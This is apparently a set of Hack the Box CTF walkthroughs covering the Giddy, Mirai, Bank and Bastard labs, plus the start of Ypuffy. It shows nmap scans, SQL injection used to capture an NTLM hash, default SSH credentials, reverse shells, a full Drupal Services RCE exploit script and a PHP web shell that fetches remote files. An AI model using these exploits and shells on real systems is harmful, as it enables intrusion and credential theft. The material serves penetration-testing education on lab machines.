Today we are going to solve another CTF challenge “Giddy”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Giddy is 10.10.10.104
As always we will start with nmap to scan for open ports and services :
root@kali:~/htb/giddy# nmap -sV -sT -sC 10.10.10.104
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-27 12:24 CET
Nmap scan report for 10.10.10.104
Host is up (0.029s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after: 2018-09-14T21:28:55
|_ssl-date: 2019-02-27T11:25:03+00:00; 0s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2019-02-23T22:16:52
|_Not valid after: 2019-08-25T22:16:52
|_ssl-date: 2019-02-27T11:25:03+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.30 seconds
On http (port 80) there’s only this picture :
Also the same picture on https (port 443)
Let’s run wfuzz
c:\PENTEST>wfuzz -c -z file,directory-list-2.3-medium.txt --hc=404 http://10.10.10.104/FUZZ
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.104/FUZZ
Total requests: 220551
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000002: C=200 31 L 55 W 700 Ch "#"
000001: C=200 31 L 55 W 700 Ch "# directory-list-2.3-medium.txt"
000003: C=200 31 L 55 W 700 Ch "# Copyright 2007 James Fisher"
000004: C=200 31 L 55 W 700 Ch "#"
000005: C=200 31 L 55 W 700 Ch ""
002307: C=302 3 L 8 W 157 Ch "remote"
006995: C=400 80 L 276 W 3420 Ch "*checkout*"
015454: C=400 80 L 276 W 3420 Ch "*docroot*"
015778: C=301 1 L 10 W 147 Ch "mvc"
016404: C=400 80 L 276 W 3420 Ch "*"
022962: C=400 80 L 276 W 3420 Ch "http%3A%2F%2Fwww"
031858: C=400 80 L 276 W 3420 Ch "http%3A"
035269: C=400 80 L 276 W 3420 Ch "q%26a"
035650: C=400 80 L 276 W 3420 Ch "**http%3a"
039198: C=400 80 L 276 W 3420 Ch "*http%3A"
045231: C=200 31 L 55 W 700 Ch ""
055398: C=400 80 L 276 W 3420 Ch "**http%3A"
055688: C=400 80 L 276 W 3420 Ch "http%3A%2F%2Fyoutube"
063474: C=404 29 L 95 W 1245 Ch "rss_promo"
Finishing pending requests...
Let’s take a look at /remote :
It redirects us to this page titled as Windows PowerShell Web Access , we don’t have any credentials so we can ignore this for now and check /mvc
And we get this ASP.NET application
SQLI and getting User
After some regular enumeration we will find that when we click on a product name we get something like this :
The url has a parameter called ProductSubCategoryId , and if we try a single quote ' :
We get an error saying “Unclosed quotation mark after the character string” so this parameter is sql injectable , let’s try something like 1; UPDATE Product SET Name= ''
And we see that it dumped the products, we can run responder and use xpdirtreeto make it try to connect to us , you can read about xpdirtreehere
To do this let’s run responder first responder -I tun0
Then let’s use xpdirtree : 1; EXEC MASTER.sys.xp_dirtree '\\10.10.xx.xx\fakeshare'
What is this doing is simply running a fake smb server with responder that steals ntlm hashes , then by using xpdirtree we make the server try to connect to our fake smb server. Let’s check responder now :
root@kali:~/htb/giddy# responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3.3.9
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.20]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : 10.10.10.104
[SMBv2] NTLMv2-SSP Username : GIDDY\Stacy
[SMBv2] NTLMv2-SSP Hash : Stacy::GIDDY:72fe267ac292121b:6744A5C663ED890D026D026BECE2B31B:0101000000000000C0653150DE09D201C94925EC226E4117000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000006685072246E39F2F27E3BF3B79A87F7D3EF09383F6DE7E145476F2934DBB8F430A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0032003000000000000000000000000000
[*] Skipping previously captured hash for GIDDY\Stacy
[*] Skipping previously captured hash for GIDDY\Stacy
[*] Skipping previously captured hash for GIDDY\Stacy
We captured ntlm hash for a user called Stacy , Let’s crack the hash with john
root@kali:~/htb/giddy# john --wordlist=/usr/share/wordlists/rockyou.txt stacy.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
xNnWo6272k7x (Stacy)
1g 0:00:00:08 DONE (2019-02-27 12:14) 0.1177g/s 316692p/s 316692c/s 316692C/s xNnWo6272k7x
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And the password is xNnWo6272k7x , let’s use the PowerShell Web Access
We get his web interface for powershell :
We can get the user flag now :
PS C:\Users\Stacy\Documents>
cd ../Desktop
PS C:\Users\Stacy\Desktop>
type user.txt
10C*****0AD
unifivideo local privilege escalation
If we return to Documents again we will find a file called unifivideo
UniFi Video is a powerful and flexible, integrated IP video management surveillance system designed to work with Ubiquiti’s UniFi Video Camera product line. UniFi Video has an intuitive, configurable, and feature‑packed user interface with advanced features such as motion detection, auto‑discovery, user-level security, storage management, reporting, and mobile device support.
A quick google search and we will find that an old version of unifivideo had a local privilege escalation vulnerability , check it here
What’s happening is , Upon the start of the service “Ubiquiti UniFi Video” it tries to execute a file called taskkill.exe in C:\ProgramData\unifi-video\ but that file doesn’t exist by default , if we have write permissions to that directory we can place our payload there as taskkill.exe then restart the service. And because the service runs with privileged permissions , it will be executed as administrator.
PS C:\ProgramData\unifi-video>
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services | where Name -Match 'uni'
Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
Name Property
---- --------
UniFiVideoService Type : 16
Start : 2
ErrorControl : 1
ImagePath : C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService
DisplayName : Ubiquiti UniFi Video
DependOnService : {Tcpip, Afd}
ObjectName : LocalSystem
Description : Ubiquiti UniFi Video Service
PS C:\ProgramData\unifi-video>
.\taskkill.exe
Program 'taskkill.exe' failed to run: This program is blocked by group policy. For more information, contact your system administrator.
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
c:\PENTEST>c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:taskkill.exe taskkill.cs
Microsoft (R) Visual C# Compiler version 4.7.3056.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
taskkill.cs(64,34): warning CS0168: The variable 'err' is declared but never used
Then we will run a simple http server with python to host the payload
c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.104: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.104] 49782: NO_DATA
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\ProgramData\unifi-video>
whoami
C:\ProgramData\unifi-video>whoami
nt authority\system
C:\ProgramData\unifi-video>cd c:\Users\administrator\desktop
c:\Users\Administrator\Desktop>dir
Volume in drive C is Windows 2016
Volume Serial Number is 0828-8CAE
Directory of c:\Users\Administrator\Desktop
06/17/2018 09:53 AM <DIR> .
06/17/2018 09:53 AM <DIR> ..
06/17/2018 09:53 AM 32 root.txt
06/16/2018 08:54 PM 842 Ubiquiti UniFi Video.lnk
2 File(s) 874 bytes
2 Dir(s) 42,888,380,416 bytes free
type root.txt
c:\Users\Administrator\Desktop>type root.txt
CF5*****1B1
Today we are going to solve another CTF challenge “Mirai” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Mirai lab.
Level: Easy
Task: find user.txt and root.txt file in the victim’s machine.
Lab IP: 10.10.10.48
Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.
root@kali:~/htb/mirai# nmap -sC -sV -oA nmap 10.10.10.48
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-23 20:16 CET
Nmap scan report for 10.10.10.48
Host is up (0.026s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.68 seconds
Without wasting time I used the dirb tool of Kali to enumerate the directories and found some important directories such as /admin/
root@kali:~/htb/mirai# dirb http://10.10.10.48
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Feb 23 20:16:56 2019
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.48/ ----
==> DIRECTORY: http://10.10.10.48/admin/
So next I decided to explore http://10.10.10.48/admin through browser URL. Here we have a Login Page, Lets Go through That.
When I link on login tab I saw following web page. The Pi-hole and the Logo gives us a pretty huge hint that the target machine is a Raspberry Pi, and Raspberry Pi comes with a default ssh
So we tried default ssh credentials on the Raspberry Pi.
Username:piPassword:raspberry
Great!! Our prediction works successfully and we got PTs shell of the victim’s machine.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\jacco> ssh pi@10.10.10.48
pi@10.10.10.48's password: raspberry
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 21 00:00:59 2019 from 10.10.14.5
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
pi@raspberrypi:~ $ cd Desktop
pi@raspberrypi:~/Desktop $ ls
Plex user.txt
pi@raspberrypi:~/Desktop $ cat user.txt
ff8*****38dpi
Then I moved for root access using the previous same password and again I get root access successfully.
pi@raspberrypi:~/Desktop $ sudo bash
root@raspberrypi:/home/pi/Desktop# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:/home/pi/Desktop#
Let’s check if it is mounted by following command df
Then execute given below command for further steps
root@raspberrypi:/home/pi/Desktop# cd /media/usbstick
root@raspberrypi:/media/usbstick# ls -la
total 18
drwxr-xr-x 3 root root 1024 Aug 14 2017 .
drwxr-xr-x 3 root root 4096 Aug 14 2017 ..
-rw-r--r-- 1 root root 129 Aug 14 2017 damnit.txt
drwx------ 2 root root 12288 Aug 14 2017 lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
Move back to root directory and type following command.
pi@raspberrypi:~ $ sudo strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3*****20b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
Today we are going to solve another CTF challenge “Bank” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much tough until you don’t have the correct knowledge of Penetration testing. Let start and learn how to breach a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Bank is 10.10.10.29 so let’s initiate with nmap port enumeration.
root@kali:~/htb/bank# nmap -sC -sV 10.10.10.29
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-20 19:52 CET
Nmap scan report for 10.10.10.29
Host is up (0.031s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.80 seconds
Now the last option was to add target IP inside /etc/hosts file since port 53 was open for the domain and as it is a challenge of hack the box thus I edit bank.htb as a domain name.
Then I explore the domain name: bank.htb through the web browser and found following login page as shown below.
Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on http://bank.htb for PHP file extension.
Here I found so many directories but I was interested in the support.php file. So when I try to explore http://bank.htb/support.php I was unable to access this web page as I was always redirected to login page due to HTTP response 302.
Let’s try to see if we can analyze the support.php page contents before the redirection happens.
Start up Burp and enable the server intercept response as shown below.
Let’s browse to the login.php page again. Now that we can control the redirection, we can see that the support.php page has a complete html page served before any redirection happens.
R
Now remove highligted 302 Found, and click forward ( if we see the 302 found a second time , we remove it in the same way.
Opening the loaded html for support.php in the browser presents the page below.
Before we start exploiting the upload feature, looking into the source code of the page reveals an important configuration,
which states that .htb files will be executed as php. This means that we have to upload php files in a .htb wrapper.
let’s edit the file to point back to the attacking machine IP and port.
pentest monkey php-reverse-shell.php
After making the required changes to php backdoor, the file is saved as puckieshell.htb and uploaded as shown below.
Before we browse the uploaded file, let’s start a netcat listener on port 443
Browsing the uploaded file spawns back the shell, as shown below.
c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from bank.htb [10.10.10.29] 38230
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 i686 i686 GNU/Linux
15:46:27 up 3 days, 15:32, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cd /home/chris
$ ls
user.txt
$ cat user.txt
37c*****1c3
The shell is spawned back as www-data, but we are allowed to visit the directory of user “chris,”
To perform privilege escalation, one of the first things I always check is to find out which binaries which have SUID bit set. << find / perm -u=s -type f 2>/dev/null >>
We can see that there is binary under /var/htb/bin/emergency, which is a SUID bit.
$ cd /var/htb/bin
$ ls -l
total 112
-rwsr-xr-x 1 root root 112204 Jun 14 2017 emergency
$ file emergency
emergency: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped
$ ./emergency
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
cd /root
ls
root.txt
cat root.txt
d5b*****a68e
Intended Method
Many people overlooked it due to support.phpbeing visible almost immediately when scanning. The /balance-transfer/ directory took some time to find but is the intended method.
If you look through the files, they are all encrypted at first glance. If you take a closer look, there is one file which is much smaller than the rest:
If you open up the file, we see some nice, unencrypted credentials that we can use to log into the control panel.
Today we are going to solve another CTF challenge “Bastard”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.Level: IntermediateTask: To find user.txt and root.txt fileNote: Since these labs are online available therefore they have a static IP. The IP of Bastard is 10.10.10.9Let’s start off with our basic nmap command to find out the open ports and services.
C:\Users\jacco>nmap 10.10.10.9
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-19 21:21 W. Europe Standard Time
Nmap scan report for 10.10.10.9
Host is up (0.032s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
49154/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 14.55 seconds
Web:- Drupal Service is running
and by checking /CHANGELOG.txt which we found in the nmap scan of robots.txt, we can see the version installed of drupal is 7.54
For which there is a public exploit available Drupal-Services-Module-rce
root@webmail:~/Downloads# cat puckie.php
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#
# Initialization
error_reporting(E_ALL);
define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');
$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'puckie.php',
'data' => '<?php echo(system($_GET"cmd"])); ?>'
];
$browser = new Browser($url . $endpoint_path);
# Stage 1: SQL Injection
class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;
public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;
if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}
class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
protected $query = null;
protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;
public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}
$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;
$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);
$json = $browser->post(TYPE_PHP, $data);
# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}
# Store session and user data
$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);
$user = $json->user;
# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);
# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);
store('user', $user);
if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}
x("Cache contains " . sizeof($cache) . " entries");
# Stage 2: Change endpoint's behaviour to write a shell
class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];
function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";
# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}
$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}
class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}
cache_poison($endpoint, $cache);
# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));
# Stage 3: Restore endpoint's behaviour
cache_reset($endpoint, $cache);
if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}
$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");
# HTTP Browser
class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;
function __construct($url)
{
$this->url = $url;
}
function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;
$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);
if($error)
{
e("cURL: $error");
}
return json_decode($output);
}
}
# Cache
function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}
function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}
function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}
# Utils
function x($message)
{
print("$message\n");
}
function e($message)
{
x($message);
exit(1);
}
function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}
root@webmail:~/Downloads#
Now before you run the exploit make sure the main drupal login page is open in your browser or it will show you the error Failed to login with fake password or if you still see this error even after opening the login page in browser then revert the machine and try again.
If you get any error like PHP Fatal error: Uncaught Error: Call to undefine function curl_init() possibilities are you don’t have php-curl installed in your machine so to solve this you just need to download it and restart the apache server and then run the exploit again.
Now after the exploit completed sucessfully it will give use a link where the file has been written and created a new user in drupal and 2 new files (session.json) and (user.json) in your current directory and if you look inside the session.json file you will see (session_ID, name and token) and we will edit and use this to gain admin access on the web.
Now we need to edit this file session.json
The session file is in format:-
-Session_name:abc
-Session_id:def
-Token:xyz
Now we need to edit this like this
–abc=def;token=xyz
It will look something like this
This is the cookie which we will use to get admin access, Now before we proceed make sure to open 3 links :
The main drupal login page :- http://10.10.10.9/
The admin pannel which will show 403 access denied for now :- http://10.10.10.9/admin
And the link which the php exploit gave us :- http://10.10.10.9/dixuSOspsOUU.php
Now capture the request of /admin page in burp and replace the cookie with our cookies.
We have to modify the cookie in this format.
Cookie:session_name=session_id;token
And forward the request and we will get the admin access
Another simple way is to use cookie manager and get admin access easily, But there is no fun without learning a new thing.
Now we have only access to this page, and if you open another page it will still show you 403 error because the cookie is set for this page only, and to set the cookie for all pages we need to set it manually.
Press F12, then click on console and define the cookie:-
document.cookie = “SESSd873f26fc………..6kti6qyA2xkjk110-wOFCKgvGPY”
The cookie has been set, now we can move around to other pages.
First click on Modules in the main toolbar of the page adb find _PHP filter and check the box and save the configuration.
Click on the Add content tab below the Dashboard on the upper left corner of the page and insided it click on > Basic Pages
Now in there we can setup our netcat listener to catch a shell netcat session
C:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.9: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.9] 49404: NO_DATA
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\inetpub\drupal-7.54>whoami
nt authority\iusr
PS C:\inetpub\drupal-7.54>
Next I Started a netcat listener on my host machine to catch root with Chimichurri.exe <my ip> 5555I got another shell but this time as root.
C:\Users\jacco>nc64.exe -lvp 5555
listening on [any] 5555 ...
10.10.10.9: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.9] 62008: NO_DATA
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\inetpub\drupal-7.54>whoami
whoami
nt authority\system
C:\inetpub\drupal-7.54>
Doing Bastard from HTB I had troubles getting reverse shell back from it, but in the end simple solution worked like a charm. This piece of PHP code (from ippSec video)
root@webmail:~/Downloads# cat phpupload.php
<?php
# php file uploader and executer
if (isset($_REQUEST['fupload'])) {
file_put_contents($_REQUEST['fupload'], file_get_contents("http://192.168.178.12/" . $_REQUEST['fupload']));
};
if (isset($_REQUEST['fexec'])) {
echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
};
?>
Serve up nc64.exe from your machine and download it
Today we are going to solve another CTF challenge “Ypuffy”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Ypuffy is 10.10.10.107
Let’s start off with our basic nmap command to find out the open ports and services.
c:\Users\jacco>nmap -sV -sC 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-17 20:51 W. Europe Standard Time
Nmap scan report for 10.10.10.107
Host is up (0.039s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
